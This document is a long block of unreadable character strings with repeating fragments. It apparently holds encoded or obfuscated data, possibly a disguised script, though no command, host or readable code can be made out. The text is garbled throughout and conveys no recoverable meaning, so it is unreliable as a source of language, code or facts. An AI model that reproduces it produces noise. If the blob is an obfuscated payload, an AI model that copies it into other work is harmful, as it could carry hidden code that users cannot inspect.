X]	X
_FOOOeOOOOOOG*
 OOK
X]	X
_FOOOeeeeOOeOeOOOOO	 OOOO
X
 X^GK_]Z]COOOK [	COK[	0XYOOOROOG_\D_XFCOOOK]	_YOORO^FeOOeO	OGN]X_	GYXFG_G^]VFFFO
O	
TeOOO	OG]X_	GX\FGK [	FFOOOeOOO
OOO0 GK_]Z]COOO	 OOGAAAK\_]]FOOO
OOGK [	FOOOeOOOO	OOGWZ XGYXFGK [	FFO
OK [	GAAAK\_]]FTeOOOOOO
OOOOOOTeeeOOOOOOCOK[	0XYCOOOOOK]	_YFTeeeOe
O0 GK_]Z]COOK [	COOK[	0XYCOOK]	_YFTeOOeOO	 OOO]
[^0YGK_]Z]COK [	COK[	0XYOOOOOROOGYD[FCOK]	_YOOOOOROOOO^FeOeOO	OOGNWZ XGYXFGV[^_G^\_FFFOOO
O	
TeOOO	OOOOGV[^_G^\^FGK [	FFOOOeOO
OOOOO0	
GK_]Z]COO	 OOOOGAAAK\_]]FOO
OGK [	FOeOO	OOGWZ XGYXFGK [	FFOOO
OOOOOOK [	GAAAK\_]]FTeO
OO
GK\_]]4_2FOPOOK\_]]4_2OUOOTeOOCOK[	0XYCOOK]	_YFTeeOOOOO
OOOOO0	
GK_]Z]COOK [	COK[	0XYCOOOK]	_YFTeOeOO	 OOOOOX[W	[X][		GFeOOOOOeOOK_Z00[ORO
	
G]X_	G\\FFOOPO8?0, !;*!;0+&=OOOAOO]X_	G[ZFOAOW
W\0]G.-<?.;'OOOAOOWZ XG[XFCOOOG_XD_^FFOOOUOOOV[^_G^]FG []]^
 XGFFOOOOAOOOOOV[^_G^\]FTeOOOOO	OOGN/WZ XGY]FGK_Z00[FOIIO[]Z

YY0GK_Z00[FFOOeOOOO^GK_Z00[COOOOOG_^_XD_
YFCOOO
FTeeeO	OG/_GY]FGK_Z00[FFOOeeOO ^
XXGK_Z00[OOOAOOOOOOV[^_G^\\FCOOMSPO@@O<

OO 
A3MCOOO]X_	G^\[FFTeeeeOOeOeO	OG/V[^_G^\ZFGK_Z00[FOOOIIOO/V[^_GY\FGK_Z00[FFOOOOOeO
OK_Z00[TeeeOeOOOK]VYW[^VOOORO_G^]FG []]^
 XGFFOOAOOV[^_G^\YFTeOO	OGN/]X_	G^\XFGK]VYW[^VFOOOOIIOOO[]Z

YY0GK]VYW[^VFFOOOO^GK]VYW[^VCOOG_^D_^_FCOOO
FTee	OOOOOG/_G^\WFGK]VYW[^VFOOOOIIOO/]X_	GY\FGK]VYW[^VFFOO
OOOK]VYW[^VTeOOKXZYZOOOOOOROOV[^_G^\VFG []]^
 XGFFTeOOOOOOOO	OOOOOG/_GY\FGKXZYZFOIIOKXZYZOOOONRROOOO[\
W^^WGFFOOOOO
OOKXZYZTeee	OOOG
	
GWZ XG\\FFOOIIOOO/WZ XGY\FG8?0, !;*!;0+&=FOIIOOO[]Z

YY0G8?0, !;*!;0+&=FFO
OO8?0, !;*!;0+&=TeOOO
OK_Z00[TeOOeOOOOOOOO	 OO\\^WVV_	GFeOOeOOO	OOG
	
GV[^_G\\FFOOOOOOIIOO/_G^[_FG8?0, !;*!;0+&=FOOOOOOIIOO[]Z

YY0G8?0, !;*!;0+&=FFO
OO8?0, !;*!;0+&=TeeOK[0_][00OOROWZ XG^\VFG []]^
 XGFFTeeeeOOOO	OOOOG[]Z

YY0GK[0_][00FFOOOOOO
OOOK[0_][00TeOO
O8?0, !;*!;0+&=TeeeeOOOO	 OOY]Y^
GK
]0V	W[FeeeeOOOOOOeO	OG
GK(# -.#<4]X_	G^[^F2FOOON]X_	GX_FGK(# -.#<4WZ XG^[^F2FFOO
O	
TeOO	OG
GK(# -.#<4]X_	G^[^F24K
]0V	W[2FFOOOOO
OO
TeOOOOOKYYX
]OROOWZ XGYXFGWZ XG^[]FFOOPOOO/V[^_G^[]FGK
]0V	W[FOUOO	
TeOOOOO
OOOGKYYX
]OOONRROOOOO	
OOOOIIO
GK(# -.#<4]X_	G^[^F24KYYX
]2FFTeOOOOOOOeeO	 OO]XZ0_\^GK
]0V	W[FeOOOOOOOeeOOOO	OG
GK(# -.#<4_G^[^F2FOOOONWZ XGX_FGK(# -.#<4V[^_G^[^F2FFO
TeO
GK(# -.#<4V[^_G^[^F24K
]0V	W[2FTeOOOKYYX
]OOOROOOWZ XGYXFGV[^_G^[]FFOOOOOPOOOOO/WZ XG^[\FGK
]0V	W[FOUOO	
TeeeeOOOOO	OOOOGKYYX
]OONRROOO	
FO
GK(# -.#<4WZ XG^[[F24KYYX
]2FTeOOOeO	 O]Y]X	XY] 0GK
]0V	W[FeeeOO	OOGN
GK(# -.#<4WZ XG^[[F2FOOOOOONV[^_GX_FGK(# -.#<4WZ XG^[[F2FFOOOOeeOOOK(# -.#<4V[^_G^[[F2OOROOOOOGFTeeOOOOOOOOKW
OOOOROO_GYXFG]X_	G^[ZFFOPOO/]X_	G^[ZFGK
]0V	W[FOOOUO	
TeeeeOK(# -.#<4V[^_G^[YF24KW
OOONRROO	
OOOPOOOOOOKW
OUOOOK
]0V	W[2OOROOOK
]0V	W[TeOOOOOOKW[W]W ]\OROOOOO	
TeO	OOOGNKW[W]W ]\FOOOOOOeKW[W]W ]\OOROOOO
TeO	OOOOOOGV[^_GYXFG_G^[XFFFOOOWZ XG^[WFG]X_	G^[VFFTeeeOeOOOeeeeOOOOOOOO	 OYX	GFeOOOOOOOOeOO	OOG
GK(# -.#<4WZ XG^[YF2FOOOOOONV[^_GX_FGK(# -.#<4_G^Z_F2FFOeOOO
TeOeee	 
OOOGK(# -.#<4V[^_G^Z_F2OOOOOOOKY0ORQOOK\	X^FOOOeOOOOOOO	OOOOGNV[^_G^\^FGK\	X^FFOOOK\	X^OOOROOKY0TeO	OOOGKY0OOORRROOO []]^
 XGFOOOOOOOK\	X^OORRROO []]^
 XGFFOO 
TeOOOOOOOeOO	OOG/WZ XG^Z^FGK\	X^FFOeOO	OOOOG_GYXFG_G^Z]FFFOYXYW][GK\	X^COG_^^D_^V\FFTe	OG_GYXFGWZ XG]_FFOIIOOOZ	VV0GK\	X^FOIIOV[^_GYXFG]X_	G^Z\FFFO/ 
0
GK\	X^COOO
FTeOeOOOOOOOOOG; 
OOOOOK]WFOeOOOOOOOG*
 OOOOOK]WFOOOeOOOOOOeOOOOOOeOOOOOe	 OOOY]0__ZVZZGFeOOeOOOeK]WOOROWZ XG^Z[FG_G^ZZFFOPOOOOOO/
 0
0GFOOUOOOOOTeOOOOOO	OGNWZ XGX_FGK]WFOO
GK]W4WZ XG^ZYF2FOOOO
GK]W4]X_	G^ZXF2FFOOO
Te	OGN_G^ZWFGK]W4_G^ZXF2COOOOG*0*== =CO*0?.=<*COO*0, =*0*== =COO*0, "?&#*0*== =CO*0:<*=0*== =FCO
FFOOO
TeK]_
YYYOORO
GK]W4WZ XG^ZVF2FOPOOGFOOK]W4]X_	G^ZVF2OUOOMMTeO	OOG GK]_
YYYCOOV[^_G^Y_FFONRROOOOO	
OOOOOOOO GK]_
YYYCOO_G^Y^FFONRROO	
FOO
TeOKYZ0OORO]X_	G^Z[FGWZ XG^Y]FFOOPOO/]X_	G^Y]FG []]^
 XGFFOOUO []]^
 XGFTeOK0
	OOOROV[^_G^Y\FG_G^Y]FFOPOO/_G^Y[FGK]W4V[^_G^ZYF2FOUOOOOK]W4V[^_G^YZF2TeOO	OOGNV[^_G^YYFGKYZ0FOONWZ XG^YXFGK0
	FOOOOOOOK0
	ONRROOOKYZ0FOO
TeOOOOOOOO	OOG
GK(# -.#<4_G^YWF2FFOOOOOeOOKYX	OROOOO/]X_	GZYFG []]^
 XGFCOOOOOO	
COOCOOO_COG[_]VDYXFFTeOOOO	OG]X_	G^YXFGKYX	FOOOOIIOWZ XGX[FG]X_	GXZFCOKYX	COK0FOIIOOOK04^2ONRROOOGFOK(# -.#<4]X_	G^YWF2FOOOO
TOOOeee
GKYX	COOK0FTeOO	OOOOG
GK(# -.#<4_G^YVF2FFOOOOeOOOO	OOOG_G^Y\FG]X_	G^X_FFFOOO/

G
COOO []]^
 XGFFTeOOK] WXOOROGFO/_G^X^FG []]^
 XGFFOOOAOHUHOAOOOOGFOOOOO/V[^_GXYFG []]^
 XGFFTeeeeOOO	OOOGK] WXOOONRROGFOOK(# -.#<4_G^YVF2FO
TOeeOOOOOO
GK] WXFTeOOOOeOOeKZ0_
 ^OORO_G[FG []]^
 XGFCOOV[^_GZ_FFTeK	]^0OROOV[^_GVZFGXX[WZGGFO/V[^_G^X]FG []]^
 XGFFFFTeOO ^
XXG_G^\VFG []]^
 XGFFOOOOAOOOV[^_G^X\FOAOOKZ0_
 ^COOOK	]^0COOOOHHFTe	OGK	]^0OOOONRROOMMFOOOOeOOOO ^
XXG]X_	G^\VFG []]^
 XGFFOOOOAO]X_	G^X[FOOOAOK	]^0COGFOWZ XG^XZFGFCOHHFTeOOO	OOG_G^XYFG]X_	G^XXFFFOOeOOOO/
0  G_G^XWFCOK	]^0OOOAOHHOOOAO_G^XZFGFCOWZ XG^XVFFTeOeOOOOOOeeOOOOOOOOKOOOROOO[\
W^^WGFTeeOOOOOO	OOGKONRROOOOO_G^\VFG []]^
 XGFFOIIOO/WZ XG^W_FGKFOIIOO/_G^W^FGKFFOOOOeOOOO ^
XXGKOOAOOWZ XG^X\FOOOAOOOKZ0_
 ^COK	]^0COOOOHHFTeOeeee	OOOGV[^_G^W]FGV[^_GYYFFOOIIOOOOOWZ XG^W\FGWZ XG^W[FFFOOOeOK\V\_OOROOOOOO
0  GV[^_GYVFCOOOGFFTeOO	OG_GX_FGK\V\_FOOIIOWZ XG^ZWFG[0X[YZGFCOOK\V\_CO
FFOOOOeeee/
0  G_GYVFCOOWZ XGX]FGWZ XG^WZFGK\V\_COOOOOG[0X[YZGFFFFFTeOOeeOWZ
YGWZ XG^WYFFTeK^
YOOOORO []]^
 XGFOAOOO]X_	G^WXFTeOOOOO	OG_G^W\FG_G][FFFO/]X_	G^WWFG []]^
 XGFCOOK^
YFTeOOOOOO	OOOG]X_	G^W\FG]X_	G^Z\FFFOeO/ 
0
G []]^
 XGFCOO
FTe/ 
0
GK^
YCO
FTeOOOOOeO	 
OOGG_G^\VFGK^
YFCO[\
W^^WGFFOOOOK

Y0X
VFOOOOeOK	0^OOROO XZWV	[YGK

Y0X
VFTeOO	OOOGNWZ XGX_FGK	0^FFOOOOO 
TeOOOO	 
OGK	0^OOOOOOOK Z\^X Y
FOeOO	OOOG]X_	G^WVFGK Z\^X Y
COBG[SS^FFOOOONRROOOOWZ XG^V_FFOOOO 
TeOOK  
X^OOROOK

Y0X
VOOOAOOH@HOOAOOK Z\^X Y
TeOOOK	^	OROOOO/V[^_GXYFGK  
X^FTeeeeO	OGK	^	OOOIIOK	^	OOOSOOOOO_G^XZFGFOOOOOOBOGY_[XZVD[^FFOOeYXYW][GK  
X^COG^_\D\^XFFTeZ	VV0GK  
X^FTeOOeOOOOOeOOOOOOOOeOO
GK

Y0X
VCOOOK	0^COK Z\^X Y
COK  
X^COK	^	FTeeeeOOOOOOOOOG; 
OOOOK
X]	X
_FOOeOOOOOOOOOG*
 OOK
X]	X
_FOOeOOeOOeOO	 O0]]
GK
]0V	W[COKY_	FeeeeOOOOOeO	OOGN]X_	G^YXFGK
]0V	W[FOOK
]0V	W[OOORRROOOOOMMOOOOON]X_	G^V^FGKY_	FOOOKY_	ORRROMMFOOO
TeK_Z00[OOOOROWZ XG^\VFGK
]0V	W[FTeeOOOOO	OOOOGN/]X_	G^W_FGK_Z00[FOOOOOOOON/WZ XG^W^FGK_Z00[FFOOO
TeeeeOOK][^ OOROOK_Z00[OOAOOOO]X_	G^V]FOOAO]X_	G^V\FGK
]0V	W[COOO_GZ_FFTeeeeOOOOK\[
^]OOROO/]X_	G^X]FGK][^ FTeOO	OGV[^_G^V^FGK\[
^]FOOIIOWZ XGX[FGWZ XG^V[FCOK\[
^]COOK]_
YYYFOIIOOO
 0 
GK]_
YYY4_2COOOOKY_	COOO]X_	G^VZFFFOO
Te	OOGWZ XG^W\FGWZ XG^VYFFFO/V[^_G^VYFGK][^ COOOOKY_	FTeOOOOOOOG; 
OK]WFOOeOOOOOOOOG*
 OOOK]WFOOOOOeeOOOOOOeOO	 OOOYXZ\Z	Y	GFeeeeOOeeOOOeO	OOGNV[^_G^VXFG_GYYFFFOe
TeeOOO	OOOOOG/
0  GWZ XG^VWFCOO_FFOe
X
 X^GV[^_G^VVFCOOV[^_G]__FCO_FTeeO	OOOOGN
]		VY ^Z\XG]X_	G]_^FFFOOO
TeeeeOOOOOOOeOOK]	__^
ZOROO_G]_]FG]X_	GVZFG.-<?.;'OOOOAOOOOOGFOO\[[
VVGFFCO_COG]D^_FFTeeeKV\Z_V_	]OOOOROOOOGFOOOOO/
0  GK]	__^
ZCOOMMFTeK\	\
 ZOOOOOROOOO_G]_\FTeeeeOOOOK^]Y[^OOOROMMTeeOOOOOeOOOOKWX
	 ORO
G]0^_[GFFTeOOOOOOKZ]^Z[0\OROV	_00YGFTeKV^]OOROKZ]^Z[0\OOAOOHHOOAOOOKWX
	 TeeeOeeeeOOOOOOOO	OG]X_	GWFGKV\Z_V_	]COOHHFONRROOO	
FOOeOKVY0[V[^OOROOOOO]X_	GV]FGHHCOOOKV\Z_V_	]COO]FTeOOK\	\
 ZOOOOOROOOOKVY0[V[^4_2TeeeeOOOOK^]Y[^OOROOKVY0[V[^4^2TOOOOeOOOOOOOO

OeOeOOOK^]Y[^OOOOROOOOOKV\Z_V_	]TeeOOeeOO	OOGNK^]Y[^FOOOe/
0  GK]	__^
ZCOOKV^]COOO_G]_[FFTeOO
TeOeOOOOOOeO	OOOGK^]Y[^OORRROOKWX
	 FOOeeOOOOO	OOGKV\Z_V_	]ONRROOOKV^]OOOIIOOO
 0 
GKZ]^Z[0\COOK\	\
 ZCOOWZ XG]_ZFFFOOOeeOOO/
0  GK]	__^
ZCOKV^]COOV[^_G]_[FFTeeeeeOOOOOO
TeOOeOOeOK00^YXOOROOO
GK^]Y[^FTeeO	OOOOOGK00^YXORRROOMMOOOOOV[^_G^V\FGK00^YXFOOONRROOOOOK00^YXFOeOOOOO/
0  GK]	__^
ZCOOKV^]CO_G]_[FFTeOOO
TeOOeOOOOK  X	 OROOO[\
W^^WGFOOOAOOH@HOOOAOOOOOOK00^YXTeK
VZOOROMMTeOOOOO	OG
	
GV[^_G]_YFFFOeOK
VZOOOOROO8?0?#:(&!0+&=OOOAOH@HOOOOOOAOO]X_	G]_XFGK00^YXCO?.;'&!) 0)&#*!."*FOOOOOAOOH@HOOAOOOOK00^YXTeOOeeK^
[	\[OOROO/_G]_WFGK  X	 FTeOOKY]\V0 OROOK^
[	\[ONRRO	
OOOIIOOK^
[	\[OOQROG_^\D_YXZFTeOOOK]	Z^OOOOROOOOK
VZOPOOOOO/]X_	G]_VFGK
VZFOOOOUOO	
TeOOOOKVZOROOK]	Z^OOOOONRROO	
OOOIIOOOOOOK]	Z^OOOOQROOOOOG[V[ZDZZFTeeOOOOeOOOOO	OOGNKY]\V0 OIIOOONKVZFOOeO/
0  GK]	__^
ZCOKV^]COWZ XG]_[FFTe
TeOeK	V

^[[[ OOROKY]\V0 OOPOOOK  X	 OUOK
VZTeKY][0OOROO/WZ XG^X]FGK	V

^[[[ COO	
COOOOCO_COOOOOG]X[YD^\Z_FFTeeeeO	OOG_G^V^FGKY][0FOIIOV[^_GX[FG]X_	GXZFCOKY][0COOK0	FFOOeOK\	\
 ZOOROK0	4^2TeOOO

	OGYZX_
WYGK	V

^[[[ COOG[V[VDZ^FFFOOOOOeK\	\
 ZOROOOOO]X_	G]_\FTeeOOOOe
GKY][0COOOOK0	FTeeeeKV^	[Z
OOOROOKY]\V0 TeOO	OGNKV^	[Z
OOIIOOOKVZFOeOOOK	XY ^OOOROOV[^_G]^_FGK00^YXCO?.;'&!) 0)&#*!."*FOOOOAOH@HOAOK00^YXTeOOOOOOKW
\ZY[OOOOROOOGFO/
0  GWZ XG]^^FCOOOGFFTeOKV^	[Z
OOROV[^_G]^]FGK	XY ^COKW
\ZY[CO
FTe	OOOGNKV^	[Z
OOOIIOOOO_G^VXFG]X_	G]^\FFOIIOOOO0
GFOOOOOIIOO]X_	G]^[FGV[^_G]^ZFFFOeOK00\OROOGFOOO/
0
0  G_G]^YFCOGFFTeeeOOOKV^	[Z
OOROO
GK00\4K	XY ^2FTeeeeOO
GK00\FTeeOOOeOO
GK	XY ^COOKW
\ZY[FTeeeeeOOOOOOOK0VV\ZXORO
 0 
GKZ]^Z[0\COOK\	\
 ZFTe	OGK0VV\ZXOSRO_FOOeOOK_0	]_OROYZX_
WYGK	V

^[[[ COOOOOOG[VWZD^ZFFTeOOOOK0\Y]OROOOOOGFOO/WZ XG]_VFGK	V

^[[[ FTeK[^
]OOROGNK_0	]_OOOOOOK0\Y]OQOG^___YW_^_B[XY\V]^_FFTeO	OOOGNK[^
]OOIIOK0\Y]OQOG^_[WZX]D[FFOeOOK\0	V _OOROO/WZ XG^X]FGK	V

^[[[ COO	
COOOCO_COOG_VVYD_YYFFTeOOOO	OGNV[^_G^V^FGK\0	V _FOOOON]X_	GX[FGV[^_G]^XFCOOK\0	V _FFOOK[^
]OOROOOO
TeOOOeO	OOOOGNK[^
]OOOOOOIIONVX[X\YXXGK	V

^[[[ FFOOOK[^
]OOROOO
TeOOOOOOO	OOOOOOGNK[^
]FOOeOOK	]OOORO		Z	_Y]GFTeOO	OGN
GK	]4_G]^WF2FFOOOeeeOK\ 
[	]OORO/]X_	G]^VFGK	]4_G]^WF2FTeK^^
	\OOROOO/V[^_G]]_FGK	V

^[[[ FTeOOO	OOGV[^_G^V^FGK\ 
[	]FOIIO_G^V^FGK^^
	\FOOIIOOOK\ 
[	]OOOORRROK^^
	\FOeOOOOOK
V]ZW
]^OOROO]Z\0
Y^GK	]FTeOOOO	OOOGK
V]ZW
]^OOORRRO]X_	G]]^FOOOOOOK
V]ZW
]^OORRROOV[^_G]]]FFOOOOK[^
]OOOOOROOOO
TeeeeOeOOO
GK\ 
[	]COK^^
	\COK
V]ZW
]^FTeOOOOe	OOGNK[^
]OIIOOO	[ W
]V YGK	V

^[[[ FFOOK[^
]ORO
TeOOOOO
GK	]FTeeeOeO	OGK[^
]FOOeOOOOO	OOOGK_0	]_FOOOOOO]Y]X	XY] 0GK	V

^[[[ FTeO/
0  GK]	__^
ZCOOOOKV^]CO_G]_[FFTeee
TeeeeOOOOOOO	OOOOGNKV^	[Z
FOOOeOO/
0  GK]	__^
ZCOOOOOKV^]CO_G]_[FFTeeeOO
Tee0]]
G []]^
 XGFCOOK\	\
 ZFTe[V\G []]^
 XGFFTeOOOOO
OOOO
TeOeOOOO	OOOOOOG
GK(# -.#<4]X_	G]]\F2FFOOeOK(# -.#<4V[^_G]]\F2OOOROOOO
Te	OGYZX_
WYGK	V

^[[[ COOG[VWYD^[FFFOOO]Y]X	XY] 0GK	V

^[[[ FTeK

	VWVOROOV[^_G^XZFGFTeO[ZX_\]VG []]^
 XGFCOGK

	VWVOOOBOGK

	VWVOOJOOOG^\Y[X\B\Y[X\FFFOOODO\[[
VVGFFTeeOOOO
GK

	VWVFTeeeeOO0]]
GK  X	 COOKZ]^Z[0\FTeO	OOOOGK
VZFOOOO0]]
GK
VZCOOKZ]^Z[0\FTeOOOOOOO
X
 X^GWZ XG^VVFCOWZ XG]][FCOO_FTeO/
0  GK]	__^
ZCOKV^]COOOOOWZ XG]_[FFTeWZ
YGWZ XG]]ZFFTeO	OOOGK
VZOOOOONRROOOOMMOOOIIOOWZ XG]]YFG_G]]XFFFOOeOOOOOOK]\Z[[]OOOOROV[^_G]^_FGK00^YXCO?.;'&!) 0)&#*!."*FOOOOAOOOOH@HOOOOAOOOK00^YXTeeeOKW
\ZY[OOROO/
0  G]X_	G]^^FCOGFFTeO	OOOOOOGWZ XGX_FGKW
\ZY[FOIIOOO_G]^]FGK]\Z[[]COKW
\ZY[COOOOO
FFOeOO/
0  G_G]]WFCOOOO_GX]FGV[^_G]]VFGKW
\ZY[COOGK]\Z[[]FFFFTeOOOOOOOOee
GK]\Z[[]COOOKW
\ZY[FTeOOeeOOO
TeeeeOOOOOOOOOG; 
OOK]WFOeOOOOOOOOZ[^YZZGWZ XG]\_FCOOK]WFTeOOOOOOG*
 OOOK]WFOeOOOOOOOOO	OeOOOOWY ]]V\0YG]X_	G]_^FFTeeOeO	 OOO XZWV	[YGK_Z00[FeOOOOOOOeO	OOOG_G]]YFGV[^_G]\^FFOOOOOOIIOOO_G]]YFG]X_	G]\]FFFOOeKOROO/WZ XG]\^FGK_Z00[FTeOOOOO	OOOOGKFOOOeK
VY0OOOOOROOGFTeOOOO
OOOOOOGGK]WOOOOROOO/_G]\\FGKFFOOOONRROOOO	
FOOOOOeOO	OOOGK]WOOONRROOHAHOOOIIOK]WONRROOOO_G]\[FFOOOK
VY042OROOOOK]WTeOOOOeOOO	OG_G]]YFGV[^_G]\ZFFFOO/_G]\ZFGKFTeOOOOOO
OK
VY0TeeOOOOOeOOOOOeOOO	OOGWZ XG]\YFGWZ XG]\XFFFOeeeKYY[][OOOOOROO/_G]\XFGK_Z00[FTeO	OGV[^_G]\WFGKYY[][FFO
OOO]X_	GX]FGWZ XG]]VFGKYY[][COOGHAHCOOOOO_G]\[FFFFTeeeeOOeOOOOO	OOGWZ XG]\VFG]X_	G][_FFFOeOK		_^OOORO/]X_	G][_FGK_Z00[OAOOO]X_	G][^FFTeOOOO	OOOOOGWZ XG]\WFGK		_^FFO
OO]X_	G][]FGWZ XG][\FCOK		_^FTeOOOe
OOTeeeOeOOO	 OO
[X
 Z]Y
GK Y]0ZFeeOOOOOO	OOOOOGN_G^V^FGK Y]0ZFOOOOWZ XGWFGK Y]0ZCOOOOWZ XG][[FFORRROOOO	
FOOOOO
OOOO	
TeOOO	OOOOG_G][ZFGK Y]0ZFOOQOOG_\Z_D_\	YFFOK Y]0ZOOOOROOOOXX[WZGK Y]0ZFTeOOO	OG_G][ZFGK Y]0ZFOQOG^_[WZ^[DY]FFO
OOOO	
TeOOOOOOO	OOOGNWZ XG]\VFGV[^_G][YFFFOOOOO
O
TeeeO	OOGN
	
G]X_	G][XFFFOeOOOOOOK[^VOOOOROOOO/ 
0
0GK Y]0ZFTeeeOOOOOO	OOOOOGNWZ XG]\WFGK[^VFFOO
O
TeOOOOOKW	_ 0VOOROO_Te	 
OOOGK[^VOOOOOOOK[V0
YVFOeeO	OOOGWZ XG]\WFGK[V0
YVFFOeeeOO	OGK[V0
YV4_2OOORRROO;0,:=#60 ?*!OOOK[V0
YV4_2ORRRO;0+ ##.=0 ?*!0,:=#60-=.,*<FOOKW	_ 0VDDTe 
TeOe	OGK[V0
YVORRROOOOHHFOOOOKW	_ 0VDDTeOOOO

	OOOGK[V0
YVOORRROOOHHFOeOOOOKW	_ 0VBBTe	OOOGKW	_ 0VOOOOOOSO_FO
OO	
TeeOOeOO
OOKW	_ 0VOOORRROO_TeeOOeOOOOOeO/ 
0
0GK Y]0ZCOO; $*!0?.=<*FTeO
OOOO
TeOOOG; 
OK]WFOe
OOOOO	
TeOOOOOOOOOG*
 OK]WFOee
OO	
TeeOOOeOOOOOOOe	 OY_]XGFeOOee
OOOOOOG_G][WFCOOWZ XG][VFCOOOOV[^_G]Z_FFTeeeee	 OO \^_	WX_GFeOe
OGV[^_G]Z^FCOOOOOWZ XG]Z]FCOOO_G]Z\FCO]X_	G]Z[FCOOOOWZ XG]ZZFCO_G]ZYFCOOOOO]X_	G]ZXFCOO]X_	G]ZWFCOO_G]ZVFCOOOOV[^_G]Y_FCO]X_	G]Y^FCOOOOV[^_G]Y]FCO_G]Y\FCO]X_	G]Y[FCO_G]YZFCOOOOOOV[^_G]YYFCO_G]YXFCO]X_	G]YWFCOOV[^_G]YVFCOOWZ XG]X_FFTeOe	 OOOZXGFee
OOG_G]X^FCO_G]X]FCO_G]X\FCO]X_	G]X[FFTeOeOeO	 OO_]
 [GK_X^_ FeOOeOO	OOOOGV[^_G]\VFGV[^_G]XZFFFOOOOO
OOO
 
GK_X^_ COGXV1X_FFTe	OOOOGV[^_G]\VFGWZ XG]XYFFFOOeO
OOOOOM3^	3W3_W3__3__3__3__3__3__3_\MOOOOAOOOO
	
GK_X^_ COOOG^V1]YFFOOAOV[^_G]XXFGH9HCOOOO]X_	G]XWFGK_X^_ FFOAOO_G]XVFGH9HCOOOOOO]X_	G][ZFGK_X^_ FOOIOG[_V_[Z]\YXD]_[Z^[V]WFFTeOOeOOO
OOOOOOK_X^_ TeeeeOOOOOO	 OOO V^^Y0\W GK_X^_ FeOOOOOOOOeOO	OGN]X_	G^V^FGK_X^_ FOOV[^_G]W_FGK_X^_ FOOOOSO]FOOOOOO
OOOOOOK_X^_ TeOO	OGV[^_G]_]FGK_X^_ COO_CO]FOOONRROM3^	3WMFO
OOOK_X^_ TeOO	OGWZ XG]W^FGK_X^_ FOSOG_^_D_]FFOOOOOO
OOO	
TeOKZY	WVOROO/_G]W]FGH9HCOWZ XG]_]FGK_X^_ COOBG_^D_\FFFTeOOOOKZY	WVOROOOOV[^_G]\WFGKZY	WVFOPOOKZY	WV4^2OOOOUO_Te	OOOOGKZY	WVOSOOOOGXYXB]YXFOOOOKZY	WVOOOQOOOOOG^V]VY[\BWW^_YXFFOOOO
OOO	
TeeOO	OGWZ XG]\VFG]X_	G]W\FFFOOeOK0VV0OOOOROOOOOO/
 
GK_X^_ COOOOG_]_W	D_	[X^FFTeO	OOGK0VV0ONRRO	
FOO
OOOK0VV0TeOOOOe	OOGWZ XG]W[FG]X_	G]WZFFFOOeOK0VV0OOOOROOOOO/	
GWZ XG]_]FGK_X^_ COOOG^WZ1^XVFCOOO_G]W^FGK_X^_ FOOOBOOG^ZD\FFCOOOOG^_W]Z^WB\\V[]FFTeO
OG_G]WYFGK0VV0FOOIIO]X_	G]WXFGK0VV0FOOOOSROOG^VXYWXVBV]W\_\FFOOOOOOPOOOOK0VV0OOUOO	
TeOOOOeOOOO
OOOOOO	
TeOOOeOOOOOOeOOOOO	OOOOGNOOOOO]X_	G]WWFG]X_	G]WVFFFOOeOOOO	 OOOO
]GK
YV^FeOOOeOO	OGNOO_G]WYFGK
YV^FOOO]X_	G]WXFGK
YV^FOOOOOJO]ONRROOOOOO_FOeeee
OO	
TeOeOOOOOO
OWZ XG]V_FGWZ XG]V^FCOOK
YV^FTeOOeOOOeeeOOOOe	 O^X0\Z	]_GFeOeOOOK \YZW]WOOROGFTeKVYVOROOG.-<?.;'COO.-<?.;'OAOOWZ XG]V]FCO.-<?.;'OOOOAO]X_	G]V\FFTeO	OOOG
	
GWZ XG\\FFFOOKVYV42OOROOOOO8?0, !;*!;0+&=OOAOOOH@HTeO	 
OOOGKVYVOOOOOK0VV0FOOOeeeOKX_^[OOROWZ XG]WWFGV[^_G][_FFOPO/V[^_G][_FGK0VV0OAOOV[^_G]V[FFOOUOO	
TeOOOOOOO	OOOGV[^_G]\WFGKX_^[FFOOeOOOOO	 
OGKX_^[OOOOK^\V__FOOOOeeOOK[[_XZWOOOOROOOO/]X_	G]VZFGK^\V__FTe	OOGK[[_XZWOIIOOK[[_XZWOOOOQOG_
	^W
ZD_]V
]VFFOOOOeeeOOK \YZW]W42OROK[[_XZWTeOOOOeeeOOOOOeOO	OOOOGN
GK \YZW]WFFOOOOeeOOK	Z V^OOOROOOK \YZW]W4]X_	G]VYFGK \YZW]WF2TeeO
OGK	Z V^OOBOOOGK	Z V^OOOOOOJOGVVV]WDX]FFFOOOODOO\[[
VVGFTeeeeeeOOOKZW]	]XOROWZ XG^XZFGFOOOOBOOOOGG^WD\[XFOOEOG^\D^^FOOOEOG_
D_^Z]FFTeOK\

OOROOO]X_	G]WWFG_G]VXFFOOPOOOOO0G_COOOOOOG_^^D_FOOOOOOEOGVD^ZFOOEOG\Z^WDW]FFOUOOOOOV[^_G]VWFG_COG_^_D_
FOOEOOOG\SS\FOEOOOOOG\Z_[DVYFFTeOOOK	Z V^OOOOROOOOKZW]	]XOOOBOOOOK\

Tee
OOOOGK	Z V^OOOBOGK	Z V^OJOG^\]_ZWB\]_ZWFFFODO\[[
VVGFTeOOOeeee	 OO_
 
GK	[00Y\ZCOOOK[V\_COOK
0 OOOROOOFeOOeK	X	OROOOO	 OOOOGKV_	^XFO
OOGK
0 FOOeO	OOOOOGN]X_	G]WYFGKV_	^XFOOOOKV_	^XOORRROOOMMFOOOO
O	
Te	OG]X_	G]WXFGKV_	^XFOOOOQOOOOGW\WWZZYDZ]FFOOOOO
OO	
Te	OGK
0 FOOOOeOOOOOOOOOeOOO
OOG  FO_G]VVFGK
0 COKV_	^XFTeOOOOOOOG; 
OOK]WFOe
OOO	
TeOOOOOOOG*
 OK]WFOOOeO
OO	
TeOOeeOOOOO
O
TeOOOOOOTeOOOOOOK
X]OOOROO]X_	G]WWFG]X_	G\__FFOOOPO/_G\__FGK	[00Y\ZCOOOGeOV[^_G\_^FORQOK[V\_Ce]X_	G\_]FORQO	
CeOOO]X_	G\_\FOOOORQOGW\WWZVZD^\FCeeeeOFFOUOO	
TeOOO	OGK
X]OOOIIOGNWZ XG\_[FGV[^_G\_ZFFOOOOOON00
 GK
X]FFFOOOOeOOOOOOO	OGGFO0
 
0


0
 
0 
GK
X]FORRROG_D_FFOOOOeKY	[OROOO0
 
0


0 GK
X]FTeOOOOOOO	OOOGK	X	GKY	[FFOOOOO
OKY	[TeOeOOOOeOOO	OOG]X_	G\_[FG_G\_YFFOIIO]X_	G\_[FG]X_	G\_XFFOIIOOOWZ XG\_WFG_G\_VFFFOOOeK^VVXOROOO/WZ XG\^_FGK	[00Y\ZFTeOOOO	OOGK^VVXOORRROO	
FO
OO	
